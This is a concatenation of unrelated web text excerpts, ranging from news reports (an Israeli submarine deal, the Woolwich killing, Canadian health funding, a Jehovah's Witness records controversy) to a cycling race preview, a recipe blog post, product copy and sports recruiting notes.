On Tuesday, Netanyahu’s office issued a statement defending Shimron’s integrity.
Shimron also represents Miki Ganor, an Israeli businessman described by the Kiel-based shipyards as its sales partner.
The three submarines, costing about $1.5 billion, are due to replace aging vessels and will be delivered in about 10 years. Israel currently has a fleet of five German submarines, with a sixth due to go in service around 2018.
With the Israeli media largely focused on Shimron and the ethics of his representing both Netanyahu and Ganor, the prime minister, now in his fourth term, does not appear to be in any immediate political danger.
Nor has there been any indication that the deal itself, which Netanyahu, 67, defended in public remarks to his cabinet on Sunday, is in any jeopardy.
The submarines are widely believed to be capable of carrying missiles with nuclear warheads and serve as a second-strike deterrent against Iran, should it ever build atomic weapons.
Iran has denied ever seeking nuclear arms and Israel has never acknowledged that it has any of its own.
First elected to Israel’s top office two decades ago, Netanyahu has weathered several scandals, including a police investigation and state audits into his family’s spending.
Defend Your Crypt is a puzzle-strategy game where players take control of a pharaoh to
protect his gold from grave robbers. They’ll need to use a variety of traps in order to take down enemies and avoid being robbed. Players can look forward to an Egyptian-inspired, retro pixel art style.
Here’s a rundown of features:
– Trap variety: The game will contain classic traps such as open platforms, which can make robbers
fall onto spikes, and also water traps or killer scorpions and beetles.
– Levels: A large number of levels to make sure the robbers will not steal any of your gold, and you
enjoy the game to the fullest. A lot of time can be spent on finishing all of them!
– Robbers with feelings: No robbers are heartless. Throughout the game, players will see robbers
in different moods, and they will also interact with each other a little bit. Seeing a hallway full of
blood could make a robber sad and break his heart.
At the moment, while Defend Your Crypt remains in development, any sort of release timeframe has not been announced.
Source: Ratalaika Games PR
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A source at the Aberdeen Police Department tells us neighbors called 911 around 9:30 p.m. Tuesday night after seeing the man peeking in windows. Another caller said the man was not wearing pants and was defecating in a driveway before attempting to fornicate with a LeMay garbage can.
Responding officers said the 25-year-old Aberdeen man was unable to communicate with them. Our source said that based on his interactions with police, they felt that he may have ingested a large amount of marijuana or synthetic marijuana.
The Aberdeen Fire Department also responded, and transported the man to Community Hospital for further evaluation. Our source noted that police did not arrest him, he was transported by ambulance for evaluation based on his behavior.
Police checked the area afterwards and found no “deposits” in the driveway.
A woman commented on our Facebook post that she was a witness to the event, Skyla Bittner wrote “I was there when this happened last night he was found unable to communicate laying in the middle of the street not humping a garbage can all of his clothes were intact they found no drugs or paraphernalia on him and the poor kid just kept crying saying…all’s I did was smoke weed…. I like to say thank you to the police officers who handle it accordingly you could tell that this kid was in need of medical attention.”
We’ve previously asked whether there is such a thing as the ‘perfect’ daily routine for writing. But if there is no such thing as an average writing day, is there any guidance on how much you should be at least aiming to write as you start to pen that epic poem or finally look to finish that novel you’ve been working on?
R.F. Delderfield, the English author of family sagas, wrote 33 pages each day, and he wrote until four o’clock in the afternoon. If he finished a novel at three o’clock, he rolled a clean sheet of paper into his typewriter, and began the next novel, and worked until quitting time. He credited a daily swim in the English Channel for his prodigious output.
Of course, not all of us are R.F. Delderfield. Not all of us write family sagas. And not all of us have ready access to the English Channel for our regular swimming sessions. Indeed, with author’s incomes collapsing to near ‘abject’ levels, many writers are increasingly facing more challenging difficulties in finding the time to meet their word output targets.
So what about other writers? How many words do they (or did they, in some cases) write each day? We’ve put together a list of the daily word counts of 20 famous authors, which you can check out here below.
Of course, there’s a problem with just taking a writer’s word counts and trying to deduce too much insight from them. The authors in the above list all write in different styles and genres – using different tools and in different conditions from one another. Not all writers monitor their word count – and others would advise against it; after all, the adage ‘quality, not quantity’ is surely rarely more applicable than when used in relation to writing.
Indeed, some writers – who write very well – will produce a great quantity of work that is then stripped back so much that to try and say how many words were actually produced per day over the course of any writing project is nigh impossible. Consider Philip Roth, for example, who said in his interview with the Paris Review that “I often have to write a hundred pages or more before there’s a paragraph that’s alive.”
Or there’s James Joyce, who took seventeen years to write Finnegan’s Wake.
On the point of Joyce, there’s a good Stephen King joke on the subject of his word count:
“A friend came to visit James Joyce one day and found the great man sprawled across his writing desk in a posture of utter despair. James, what’s wrong?’ the friend asked. ‘Is it the work?’ Joyce indicated assent without even raising his head to look at his friend. Of course it was the work; isn’t it always? How many words did you get today?’ the friend pursued. Joyce (still in despair, still sprawled facedown on his desk): ‘Seven.’ Seven? But James… that’s good, at least for you.’ Yes,’ Joyce said, finally looking up. ‘I suppose it is… but I don’t know what order they go in!”
This joke echoes the sentiment of a famous story about Gustave Flaubert, in which his bohemian friends stopped by his house one day, and invited him to go out for a few days of debauchery (who wouldn’t?!). Flaubert declined, saying he had to write, so they went off and returned a few days later. (A good solid length of debauching, one would say). “How did your writing go?” they asked once they returned. “Fantastic!” Flaubert replied. “I put the semicolon back in.”
So it’s important to take each of the writer’s word counts with a pinch of salt – in that, just because they are writing x amount of words; it doesn’t mean you should be, too.
With that in mind, it can still be an interesting work of self-evaluation to consider how many words you write each day. Are you as prolific of Crichton or more careful with your words like Hemingway or Dorothy Parker? Let us know in the comments below!
In the letter obtained by CBC News, the premiers say if a meeting on health care is not possible by mid-December, they want the prime minister to commit to extending increased health-care transfers for at least another year.
"In the spirit of collaboration and to reflect the importance of this issue, we believe that this meeting should be confirmed prior to the first ministers' meeting on climate change and clean growth," Yukon Premier Darrell Pasloski wrote on the premiers' behalf earlier this month.
Trudeau and the premiers are due to meet this fall to finalize plans for reducing Canada's greenhouse gas emissions.
In his letter, Pasloski says premiers would also like to hold a meeting "solely dedicated to long-term health-care financing before mid-December."
The premiers publicly asked for a meeting with Trudeau in July, but have so far failed to secure a commitment from the prime minister.
The premiers are unhappy with a planned decrease in the annual increase attached to the Canada Health Transfer (CHT), the mechanism through which the federal government provides provincial and territorial governments with funding for health care.
Previously set at six per cent by Paul Martin's Liberal government, the rate was scheduled by Stephen Harper's Conservative government to decrease to a minimum of three per cent next year.
"If a meeting on long-term health-care financing is not possible within the proposed timeframe, we ask that you formally commit to postponing the entry into force of the proposed CHT changes for at least one year," Pasloski writes.
"This will give us the opportunity to reach an agreement that reflects intergovernmental collaboration and is respectful of [provincial and territorial] jurisdiction, which we believe will be to the benefit of all Canadians the Canadian federation."
Bargaining chip?
This isn't the first time the premiers have tried to use a federal government priority as leverage in their fight for increased health care funding.
Prior to the Council of the Federation meeting in Whitehorse in July, the Prime Minister's Office reached out to premiers, proposing Trudeau join them there briefly.
A few weeks earlier, provinces had signed on to a federal proposal to reform the Canada Pension Plan. Trudeau's office envisioned a photo call with the provincial and territorial premiers to highlight this accomplishment.
Staff in various premiers' offices across the country started talking to each other, comparing what Ottawa was saying to them individually before deciding what to do.
Shortly after, the message went back to Ottawa from the premiers as a group: No. If Trudeau wanted to join them in Yukon, he'd better be prepared for negotiations between First Ministers about health care funding — not just a photo op.
Trudeau decided not to go to Whitehorse.
The premiers used their talks to prepare for the fall negotiations ahead.
The WorldTour follows up GP Ouest France with two more Grand Prix circuit-style races this weekend, also run on hilly courses that seem to lead to battles between late attacekrs and hard-charging pursuit groups. This weekend’s competitions are unique among WorldTour races, however, in that they take place in North America. Canada, to be exact.
Friday’s race comprises 16 laps of 12.6km (totalling 201.6km) around scenic Old Quebec. It has a number of rolling ups and downs and it finishes on an incline; obviously, there are no Alpine summits in the middle of Quebec City, but the ascents are more than enough to encourage constant aggressive moves off the front, and even if attacks are reeled in, the incline at the line favors the lighter, more versatile hard-chargers. Last year, Simon Gerrans and Greg Van Avermaet jumped ahead in the final lap, and hung on despite a spirited bridging attempt by Peter Sagan and an impressive (and sizeable) group of pursuers behind them, a group that was led across the line by Rui Costa. Going further back, we see similar outcomes. The hard pace of the 2011 edition whittled the lead group down to a group of about ten on the final lap, and Philippe Gilbert added another victory to his great list that year by launching a successful attack with Robert Gesink in the final kilometers, and then beating the Dutchman to the line. The inaugural edition in 2010 saw Tommy Voeckler make a successful bid for glory. Given the versatile talents in attendance, I think this year’s Grand Prix Cycliste de Quebec will again come down to a late attack battling a small group of chasers, though a sizable bunch sprint for the line isn’t out of the question, and while I think it’s a bit less likely, neither is a long-range breakaway victory.
None of this race’s past winners will make the start tomorrow, meaning that 2013 will see a new winner in Quebec. One favorite for that title stands above the rest: Cannondale’s Peter Sagan. After a successful classics campaign in which he nabbed a win at Gent-Wevelgem and a boatload of other high placings, he stormed the Tour de France green jersey competition. But he hasn’t been resting on his laurels: he’s been a prominent feature in some big American stage races, winning stages and the points competition at the USA Pro Cycling Challenge. He has clearly kept his form sharp, and with so many opportunities to tune up at the AmericaTour level in preparation for the big doubleheader in Canada this weekend, it’s hard to see past him. As he showed in Gent-Wevelgem, he’s more than capable of winning via a late attack. He came close to bridging the gap last year, and this year he’s got that much more experience, and probably better form. He’s a smart rider and a excellent handler, which will come in handy in the constant quest to come out of the corners at high speed. He’s shown time and again this year that all but the most difficult of climbs are not a problem for him, making it very likely that he’ll be somewhere near the front towards the end of this race. Whether he attacks off the front or outsprints the field, Sagan has the tools to win this thing.
He’ll have a big target on his back, and his challengers will be many. One rider who has been just behind Sagan at a number of races this year is Greg Van Avermaet, who has looked sharp through his many appearances this summer. He attacked on the final climb of the GP Ouest France, but the break refused to organize themselves: GVA himself seemed to be the most concerned with dragging other riders to the finish and, therefore, wouldn’t work with a group. As such, he didn’t start with enough of a gap when he launched his own solo from the reduced bunch, and was caught in the final few hundred meters. He’ll hope to have a bit more success in Quebec, where he narrowly lost out to Simon Gerrans last year. Like Sagan, his skillset makes him a danger in both a late attack and a reduced sprint; he’s not as quick as the Slovakian wunderkind, but he might be a bit more likely to make a move, which showed last year.
Also in that last-ditch move on the final climb of Ouest France was Michal Kwiatkowski, who was a familiar face on most of the intermediate stages where Sagan featured so prominently in the Tour de France. Had the final break managed to work together two weeks ago, he would have been a strong contender for the win. He’s a better climber than Sagan, but still has a great sprint. His teammate Sylvain Chavanel has earned himself a ton of camera time time this year with his characteristic aggressive riding, and his time trial victory at the Eneco Tour shows that the 34 year old is still soloing well this year. He’ll probably need to strike earlier than guys like Sagan or Van Avermaet, but if he can time an attack, he’s always a good bet to feature on a profile like this.
Rui Costa has had a lot of success in Canada (he was just behind Van Avermaet last year), and he has the perfect combination of skills to win in a variety of ways. He showed off that combination of skills by winning two stages from a breakaway in the Tour de France; he can solo, he can climb better than most other riders in this race, and he has a surprising sprint. He’ll definitely be lurking around the top of the leaderboard. His teammate Francisco Ventoso is another rider with a shot, coming off a top 10 in Ouest France.
Lotto Belisol’s Jurgen Roelandts, Belkin’s Lars Petter Nordhaug (who won last year’s Grand Prix Cycliste de Montreal) and Tom Jelte Slagter (fifth here last year), Cannondale’s Moreno Moser, Astana’s trio of Francesco Gavazzi, Borut Bozic, and Simon Ponzi, and Radioshack’s trio of Tony Gallopin (winner of the Clasica de San Sebastian), Jan Bakelants (Tour de France stage winner) and Maxime Monfort are all also great candidates for a win from a late attack or a very reduced field sprint.
If a larger bunch reaches the finish line, it will be hard to beat Sagan in a sprint, but John Degenkolb of Argos-Shimano and Giacomo Nizzolo of Radioshack (they have a lot of options here!) are on the shortlist of riders who have a decent shot at it. Degenkolb went into the Vattenfall Cyclassics as something of an unknown in terms of form, and all he did was win the whole thing. He showed continued form at the GP Ouest France, where he, too, managed to get into the late attack of Van Avermaet and Kwiatkowski (and was probably the prime reason that the breakaway attempt refused to cooperate), quite a feat for a sprinter. He then proceeded to place tenth in the sprint after putting out a lot of effort in the failed attempt to break free. He won’t mind the uphill finish in Quebec. Neither will Giacomo Nizzolo, who looks great right now, and who came so close to a win at Ouest France, but was denied at the line by a charging Filippo Pozzato. Speaking of Pozzato, I almost didn’t mention him in my Ouest France preview, given a lack of recent results, and I’m still not really sure how to judge his chances here: was his Ouest France win a flash in the pan, or is his form back to where it once was? Matti Breschel of Saxo-Tinkoff was a top 10 finisher at the Vattenfall Cyclassics and is a capable climber. Look out for Luka Mezgec, who was just behind Sagan in a bunch of stages in Alberta and the USAPCC and who could be a second option for Argos if Degenkolb struggles. And, of course, Matt Goss will be in attendance, though he was 27th at Vattenfall’s sprintfest and a DNF in the GP Ouest France.
A number of big name Grand Tour winners are making the start, probably looking to go for a long one, launching off one of the many hills they’ll ascend in their trips around Quebec: Ryder Hesjedal, Chris Froome, Alberto Contador, Cadel Evans, and even Andy Schleck are all here. Sky also has Richie Porte, Garmin also has Andrew Talansky, Tom Danielson, and Fabian Wegman (Top 10 in every edition of this race so far), and BMC’s Tejay van Garderen gives that team yet another option. Of these big three-week stars, Hesjedal and Evans are probably most likely to feature; Hesjedal doesn’t really have any one-day statement wins in his career yet, but he’s had a flair for high placings and he has a strong kick: plus, this is a home race for him, which is rare. Evans has shown decent form since arriving in Canada (he won a stage at the Tour of Alberta) and he has always had a good sprint if he makes it to the line with a small lead group. Other riders who will look for a long distance opportunity, or hope that the fast men are all dropped, include Katusha’s Alexandr Kolobnev and Simon Spilak, AG2R’s Christophe Riblon and Jean-Christophe Peraud, Pierrick Fedrigo, OPQS’s Niki Terpstra, Astana’s Enrico Gasparatto, everyone on Euskaltel, and Orica GreenEdge’s typical stable of breakaway capable talent: Michael Albasini, Sebastian Langeveld, Pieter Weening, and Cameron Meyer. Also, watch out for Europcar’s David Veilleux, riding in his home country and having just announced an imminent retirement.
However it plays out, I think the Grand Prix Cycliste de Quebec is going to be another very exciting race, guaranteeing plenty of attacks and counterattacks to give you a double dose of high speed racing after a morning that will likely offer the same from Spain!
VeloHuman Predictions
Winner
Peter Sagan
Podium
Greg Van Avermaet, Rui Costa
Top 10
Michal Kwiatkowski, John Degenkolb, Giacomo Nizzolo, Ryder Hesjedal, Sylvain Chavanel, Jurgen Roelandts, Filippo Pozzato
-Dane Cash
Back then, when we needed information, we didn't turn to the Web because its content was inchoate and not yet sufficiently organized. Besides, Web-based knowledge gathering was slow going, since most Americans used 54Kbps dial-up modems for access, which limited us to one Internet connection per phone line. Instead, we quaintly read printed newspapers and magazines.
As for entertainment, we listened to CDs on saucer-size portable disc players. MP3 downloading was a brand-new (and often illegal) option for college kids. For the most part, we still watched TV in real time; the idea of time shifting had not yet been articulated.
We communicated quite differently. Our cell phones were devoted to phone calls, though some enabled text messaging. But we had not yet connected and reconnected with friends and family via social networking.
Most of us were still humming the opening riffs of "Start Me Up" as we booted Windows 95 on our tower PCs. More significant, we considered our computers primarily tools for work (although many were playing Half-Life and Legend of Zelda: Ocarina of Time). PCs had not yet become the hubs of our personal lives.
The products, services, and technologies that transformed our lives in the 00s each, in its own way, realized the promise and the premise of the Internet. So, too, do our most influential people of the decade.
These bold thinkers burnish their reputations with game-changing innovation, whether it is measured by delivering information, creating indispensable services, or parsing the curious new business of sharing. Among these six men we found some common attributes: the quest for connectivity and community, astute business acumen, and sometimes-surprising sense of charity. Each, however, drew upon a unique reserve of outsize talent to maximize Internet technology and enrich our lives. Here's how they did it.
Michael Adebolajo, 28, the man videoed by witnesses with his hands red with blood following the killing of the soldier, had been intercepted by officials as he attempted to travel to Somalia to fight alongside Islamist terrorist group Al-Shabaab.
The Telegraph has learnt that six years ago Adebolajo was arrested after being involved in violent protests by extremists outside the Old Bailey.
He was a regular member of a small group of hardcore fanatics who regularly protested alongside some of Britain’s most notorious hate clerics and was seen preaching anti-Western rhetoric in Woolwich as recently as last week.
The second suspect was last night identified by The Times as Michael Adebowale, 22, from Greenwich. His flat was reported to have been raided by police and it was reported that he too had been known to the authorities.
Both of the suspects remain under armed guard in separate London hospitals in stable conditions with non-life-threatening injuries.
Detectives are also interviewing a man and a woman at a south London police station after they were arrested on Thursday night on suspicion of conspiracy to murder.
Speaking to the BBC, Mr Pickles said: “The Prime Minister is very clear he wants to see an investigation about what went right and what went wrong. It’s very important to stress these investigation are still going on.”
However, he attempted to defend the security services, adding that “we need to be realistic that a free and open society is always vulnerable”.
Mr Pickles said that when the investigation is finished "both aspects of the security services and aspects of the policing of these two individuals will be thoroughly investigated".
There will now be a full investigation by MPs on the parliamentary Security and Intelligence Committee.
Drummer Rigby, of 2nd Bn The Royal Regiment of Fusiliers, was run over and attacked with knives and cleavers as he walked back to barracks in Woolwich, south-east London on Wednesday afternoon. Known as “Riggers”, he was praised by his colleagues as a “true warrior” who had served in Afghanistan, Cyprus and Germany, and by his family as a loving father to his two-year-old son, Jack.
Amid fears of a copy-cat attack and a backlash from far-Right groups, 1,200 extra police officers are being posted on the streets.
Officers were guarding locations in London, including religious venues and transport hubs, Metropolitan Police assistant commissioner Mark Rowley told The Daily Mail.
Anjem Choudary, the former leader of banned radical group al-Muhajiroun, said Adebolajo regularly attended meetings and demonstrations held by his group and successor organisations.
And Omar Bakri Mohammed, a hate preacher banned from Britain, claimed he had converted Adebolajo himself.
The disclosure of his close association with some of Britain’s most notorious Islamic extremists is likely to raise further questions about why he was not deemed a serious threat by the security services.
Bakri Mohammed has been reported by The Independent as saying the Adebolajo’s attack “can be justified”.
“He was very courageous,” he reportedly said. “Under Islam, this can be justified.”
Lord Blair, the former commissioner of the Metropolitan Police, has warned that the security services have “limited resources” to monitor suspects.
“Obviously the security services have limited resources – they must prioritise to the people who are most likely to move from being interested in violent extremism to carrying out,” he told BBC Radio 4’s Today programme. “Then, even if you’ve got the resources to do it, you have to have very high levels of suspicion before you can put surveillance on. And, thirdly... what are we monitoring? Because lots of people have very odd views.”
Lord Blair added that there must be a swift investigation into the UK’s intelligence agencies to restore public confidence.
"New Girl" will air at 9 p.m., with "The Mindy Project" (pictured) airing at 9:30. The specially scheduled episodes will air in the place of a previously scheduled "Glee" repeat.
Also read: 'Ben and Kate' Pulled from Fox Schedule
Currently, the series run Tuesday nights, in a lineup that received a jolt last month when the freshman comedy "Ben and Kate" was pulled from the schedule. In the absence of "Ben and Kate," the shows have been preceded by one-hour installments of "Raising Hope," except this Tuesday, when a repeat of "New Girl" immediately preceding them.
In almost 24 hours I am going to be on live television. Seriously.
I have no idea what I am going to wear or say….and I’m pretty sure the producer over at Good Morning Jacksonville has no idea what she has gotten herself into. Sure, I’m great on the blog…but give me a big camera sending out a live feed, a sharp knife and my foot in mouth tendencies… well I am sure it’s going to go splendidly. I’m just kidding of course, I am sure it is going to go great! Show time is at 8:50 a.m. and I have planned to start off my morning with a mimosa and a xanax to get things good and rolling by the time I go on. 😀
While I may not have it all figured out just yet, I have decided that I will talk like Julia Child and only refer to myself in third person. Oh, and I have decided I am going to make Valentine’s Day treats. Considering VDay is on Tuesday, it seemed only fitting. So for the first segment (Saturday, 8:50 am, GMJ- be there) I am going to make these Strawberry Nutella Poptarts! Aren’t they adorable? And you will never guess how easy they are….
First, take some store bought pie dough. Sure you could make your own, if you wanna be an over achiever or whatever.
Roll out the pie dough till it’s pretty thin. Then cut it into 2.5 x 3.5 inch rectangles.
On one pie dough rectangle, spread a layer of Nutella. Then spread a layer of Strawberry Jelly.
Cut a strawberry slice into the shape of a heart (slice a strawberry lengthwise into slices and then curve out the stop with a paring knife to create the heart shape).
Using the strawberry heart as a pattern, cut out a heart shaped hole in the second piece of dough.
Place the strawberry in the center of the nutella/strawberry jam mixture. Top with the second piece of dough with the heart shaped whole.
Using a fork, seal the edges. Brush the pie dough with an egg wash (1 egg yolk + a splash of quality H2O –any Waterboy fans??) and then sprinkle the top with a heavy dose of coarse sugar.
Bake at 350°F for 12-14 minutes, or until golden brown. Let cool 5 minutes and serve!
So now that you already know what I am going to make, are you still going to come watch me make a fool of myself? If they don’t throw me out after the first segment (at 8:50 a.m.), I will be making Red Velvet Cupcakes at 9:50 a.m. So if any of you are in Jacksonville, or the surrounding areas, make sure and DVR me (we both know you won’t be up that early on a Saturday).
If you aren’t, don’t worry! There will be clips posted online…and I promise to share them as long as you promise to laugh with me –not at me– when I drop everything, cut off a finger and get bleeped out on live tv.
Today Universal's 8 film Universal Classic Monsters: The Essential Collection hits Blu. It has cleaned up, hi-def versions of Frankenstein, The Bride of Frankenstein, The Wolf Man, Dracula, The Phantom of the Opera, The Mummy, The Invisible Man and, for the first time on Blu, Creature From the Black Lagoon 3D. Obviously these movies needed some work to get them to hi-def standards, and this clip shows you a little bit of how Dracula was cleaned up. I don't have my copy of the Blu yet, but I like what I see here - they've kept the mono track but made it more audible, and they've crispened the picture nicely. I've seen screenings of older prints of most of these movies and they're often unintelligble and almost unwatchable.
Child abuse records could be destroyed by church elders accused of a sex crimes cover-up.
The Jehovah’s Witness church is believed to have sent a memo telling them to get rid of notes taken during “judicial meetings” with alleged sex offenders.
It comes after Judge Lowell Goddard – the head of Britain’s independent child sex abuse inquiry – warned ­institutions that NO paperwork relating to abuse claims should be shredded.
The Sunday People revealed 15 months ago that the church was accused of covering for paedophiles in congregations.
It is accused of brainwashing abused women and girls into not going to police so it can keep its image, preferring to deal with attackers at “judicial” meetings.
A former church elder said: “This latest move is disgusting.
"It gives elders an ­excuse to stand in court and say they have no paperwork relating to judicial meetings and can’t remember details.”
Under the church’s “audit”, basic ­details of what the abuser was accused of, when the assault was alleged to have happened and outcomes of such judicial ­meetings will be kept on file.
(Image: Wales News Service)
But more detailed notes, usually handwritten by elders during the meetings, could be destroyed.
Read more: Jehovah's Witness pervert jailed despite cover-up
The Jehovah’s Witness church failed to answer criticism over the memo.
But it said: “We abhor child abuse and view it as a heinous crime. Any suggestion that Jehovah Witnesses cover up child abuse is absolutely false.”
Last year we told how Louise Palmer, 38 , was ignored by her parents and church elders when she revealed her brother raped her as a child.
He was jailed for 14 years at Wolverhampton Crown Court.
In Newcastle upon Tyne, elders refused to talk to police about ministerial servant Gordon Leighton, 53, who was jailed for 13 years in 2013 for attacks on children.
Chinese President Xi Jinping, fourth from right, meets with the guests at the Asian Infrastructure Investment Bank launch on Oct. 24, 2014, in Beijing. (Takaki Yajima/Reuters)
This week, Germany, France, Italy and Britain all decided to join the recently created China-led Asian Infrastructure Investment Bank (AIIB) despite the express opposition of the United States. The United States worries that the new bank will apply looser standards with regards to the environment, transparency, and governance. Perhaps more to the point, the United States is concerned that the new institution will undermine the World Bank; an institution in which the United States and its allies retain a dominant say.
The AIIB together with the new BRICS bank are heralded as evidence of China’s growing geopolitical clout. Fareed Zakaria rang the alarm bells last fall:
[..] if China uses its growing clout to keep asking countries to choose between the existing arrangements or new ones, it might create conditions for a new kind of Cold War in Asia. It will certainly help to undermine and destroy the current international order, which has been a platform on which peace and prosperity have flourished in Asia for seven decades.
There is little doubt that the creation of these new institutions reflects China’s growing economic might as well as China’s desire to use this economic power for political purposes. There is plenty of evidence that Western governments and Japan have used the multilateral development banks that they control in exchange for favors in the international arena (such as votes in the United Nations) or to influence the domestic politics of poorer countries. Banks in which China exerts more influence will surely behave in similar ways. This will have some consequences. But it is too soon to think that these initiatives will have such drastic effects that they will “undermine and destroy the current world order.”
To start with, so far the total amount of lending by these banks is $0. There is a long list of international institutions that were created with much fanfare only to be relegated to the footnotes of world history (if that). UPenn political scientist Julia Gray estimates that of formally existing international economic organizations 10 percent are essentially dead and 38 percent are “comatose.” I suspect that the AIIB will not fall into either category in the near future (I am less confident about the BRICS bank). But the jury is still out on just how important a player it will be. AIIB lending may replace some World Bank lending but it will also replace some Chinese bilateral aid and some Asian Development Bank lending. It is not really clear at all why modest shifts in the distribution of where aid comes from will have seismic geopolitical consequences.
Second, and more importantly, China has had a much harder time reforming or replacing global institutions in policy areas other than development lending. Stanford political scientist Philip Lipscy argues in a recent article in the American Journal of Political Science that the extent to which the world’s institutions adjust to changes in the global distribution of power depends strongly on whether member states have attractive outside options.
If you are unhappy with the World Bank, and you have resources, it is rather straightforward to just start giving aid bilaterally or to create a multilateral bank with like-minded countries. All you need is money (countries that are willing to accept the money are easy to find). That’s why we already have two dozen multilateral development banks.
If you are unhappy with the International Monetary Fund (IMF) it is much harder to create an alternative. In the past few decades, the IMF has mostly been concerned with the maintenance of global financial stability. Lipscy argues that there are considerable benefits associated with having a universal organization in this area. Given financial interdependence global surveillance and universal coverage are far superior to a patchwork of regional arrangements. You also often need very large sums of money quickly in times of crisis. Other than money, a lender of last resort needs to be credible and needs to provide political cover for painful measures, tasks much easier accomplished by a universal organization than a regional one.
This is why most regional alternatives to the IMF, such as the proposed Asian Monetary Fund, have failed. Or, why in times of financial crises countries, such as South Korea and Indonesia, turned to the United States and the global institutions for help rather than the the Chiang Mai swap agreement. Lipscy shows that as a result of the paucity of alternative options IMF voting rules have adjusted much less rapidly to changes in the global distribution of power than have World Bank voting rules.
Similarly, China is not trying to undermine the key global security institutions and continues to rely very heavily on the key trade institution: the World Trade Organization (WTO). It is true that many states, including China, are very active in signing bilateral and regional trade agreements that sometimes challenge aspects of the WTO regime. Yet, this patchwork of agreements does not form a substitute for the global market access that the WTO provides.
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Show off your high-brow sense of humor
The Van Gogh Disappearing Ear Coffee Mug works pretty much like any other coffee mug. Pour your hot, tasty beverage into it, tilt, sip, and enjoy.
However, there's one small difference that makes this coffee mug infinitely cooler (not in the temperature sense) than all other mugs. You can use it to impress your friends!
Every time you fill the Van Gogh mug with a hot liquid, Vinny's ear disappears.
Show off your great knowledge of art (while also suavely sipping your coffee) by saying things like, "Did you know that Vincent Van Gogh cut off part of his ear after a fight with fellow artist Paul Gauguin?" Or, "Hey, Sally, you are so hot, the ear on my mug just disappeared."
With a focus on saffron and green, go bold for a look that will be both striking yet elegant. Choose furniture in dark wood to achieve a sense of warmth and balance in the space - the Fava low coffee table helps achieve that. Extend the Tricolour theme through accessories - a saffron lamp shade, for instance, provides a vibrant burst of the colour you're looking for. Extend the spirit of celebration into your home, say Jasem and Huzefa, by placing tealight holders, lanterns and candles around the house. Extra points to you if you find these in saffron, white and green!
Shop the Look
Orange Distress Metal Hanging Lantern
White Distress Metal Hanging Lantern
Green Distress Metal Hanging Lantern
Rainbow Series Green Chair
Rainbow Series Orange Chair
Fava Low Coffee Table
Wooden Table Lamp Accessorise in Style
Create a saffron trail with your accessories - here, we've designed a tri-coloured space with mix-and-match cushions in saffron and green. Place them on a neutral sofa, like the beige one pictured here, to create a pop of vibrancy . Make sure a few pieces have a white (or neutral-coloured) palette to avoid the risk of overwhelming your space with too much bold colour. This pair of colourful stools allows you to bring an ethnic touch to this modern setting. The Marigold rug completes the look.
Shop the Look
Spartan Sofa set
Tangerine Hued Kirna Kirna Cushion
Orange G ota Work Cushion
Tito Cushion Cover
Vista Embroidered Cushion Cover
Rocca Stool
Kantha Stool
Marigold Rug
Handcrafted Decorative Vase
Jasem Pirani and Huzefa Rangwala recommend using a white or ivory base for your space and decorating with accents - tri-coloured side tables, pouffes and solid or printed cushions - all of which would be an inclusive and committed way of incorporating the Tricolour. Offset with black and white or ivory prints, to further enhance the look. According to the designers, individual metal pieces with laser-cut designs are the current "in" thing. Jasem and Huzefa advise picking pieces that sport this look, especially in the shades of the Tricolour. The overall effect will be fun and rustic, while staying bang on trend.
Images
"Without a doubt our epoch prefers the image to the real thing, the copy to the orginal, the representation to the reality, appearance to being. What is sacred for it is only illusion. More than that, the sacred grows in it's eyes to the extent that truth diminshes and illusion increases, to such an extent that the peak of illusion is for it the peak of the sacred."
Fuerbach
We live in a Spectacular Society. That is, our whole life is surrounded by an immense accumulation of Spectacles. Things that were once directly lived are now lived by proxy.
Once an experience is take out of the real world it becomes a commodity. As a commodity the spectacular is developed to the detriment of the real. It becomes a substitute for experience.
Consumer.....
or Commodity?
The commodity is checked for quality.
....And everybody wants to breathe and nobody can breathe and some people say "we'll be able to breathe later...." - Paris graffiti, 1968
The dreams are dreamt and found wanting
Dissatisfaction and frustration may bring demands to end the Society of the Spectacle.
....But the demands are hijacked and become part of the Spectacle.
I'll show you my Spectacle....
....If you'll show me yours.
DON'T PANIC!
Hoge made his verbal commitment during another visit to campus this weekend. He previously attended the USC game as well as camped in South Bend over the summer. He reports nearly 20 offers from across the country, including Florida, Stanford, LSU and Penn State.
Recruiting Service Rankings :
ESPN - 4 star (#5 OG, #1 ID), 82 Grade (#69 Overall)
Rivals - 4 star, 5.9 Grade
Scout - 4 star (#1 OG)
247Sports - 4 star (#1 OG, #1 ID), 95 Grade (#92 Overall)
247Sports Composite Score - 4 star (0.9752, #55 Overall (#1 OG, #1 ID)
Highlights :
TRISTEN HOGE 2011 HIGHLIGHT FILM 2 (via MsChoge)
Note: There weren't any newer highlights on YouTube for Hoge...yet.
Highlights from hudl can be found here.
Highlights from Stanford's Friday Night Lights can be found here.
Impact :
Immediate Future:
Hoge, like nearly all freshman offensive linemen, will most likely redshirt. As the top overall center in the 2015 class, he should be able to step into the spot that will be vacated by Nick Martin's graduation. Regardless, a year working with Harry Hiestand on technique and Paul Longo to add strength and redistribute weight will be time well spent.
Long Term/Career:
I think if you surveyed offensive line coaches and had them create a center from scratch, they would come up with a player very, very similar to Hoge. He is everything you want from an interior lineman-he can move, he can handle defensive tackles by himself, he gets to the second level quickly, and he has a mean streak on the football field. While the Irish haven't signed a true center coming out of high school since Braxton Cave in 2008-and I don't think they could find a better prospect to break the streak with than Hoge. He should develop into an excellent lineman at the collegiate level and become a multi-year starter.
Every year in sports, there are underrated players who break onto the scene with great performances.
And, every year, people try to predict who those players will be. And this year, I have some ideas.
Despite successful 2012 campaigns, these players aren’t getting much attention for a variety of reasons. However, in 2013, they will be getting attention, for some good performances, in fantasy and real life. And then, they’ll be shining in the bright lights of October.
But who will those players be? Well, why don’t you find out.
Ross Detwiler, Starting Pitcher, Washington Nationals
Despite throwing the ball very well in his lone postseason start and posting the 24th best ERA in theMLB, Detwiler barely received any attention for his performance in 2012.
Detwiler isn’t the guy who will record a fist-pumping strikeout to get out of a jam, but he will get out of a jam. He locates and keeps hitters off-balance consistently, and he knows how to pitch in any situation. He helped the Nationals win Game 4 of the NLDS with six great innings, in which he didn’t allow an earned run.
Even though his postseason performance doesn’t matter for fantasy baseball, his performance during the season will. Detwiler won’t be an ace, and he won’t do as well in leagues that award a lot of points for strikeouts, but with a decent offense to support him, he can rack up wins and good performances.
If you are looking for a consistent steal, pick up Detwiler. He had a string of 23 consecutive appearances without allowing more than four earned runs, and while a few were out of the bullpen, he never allowed more than one run in those. Detwiler won’t be in the bullpen in 2013, though.
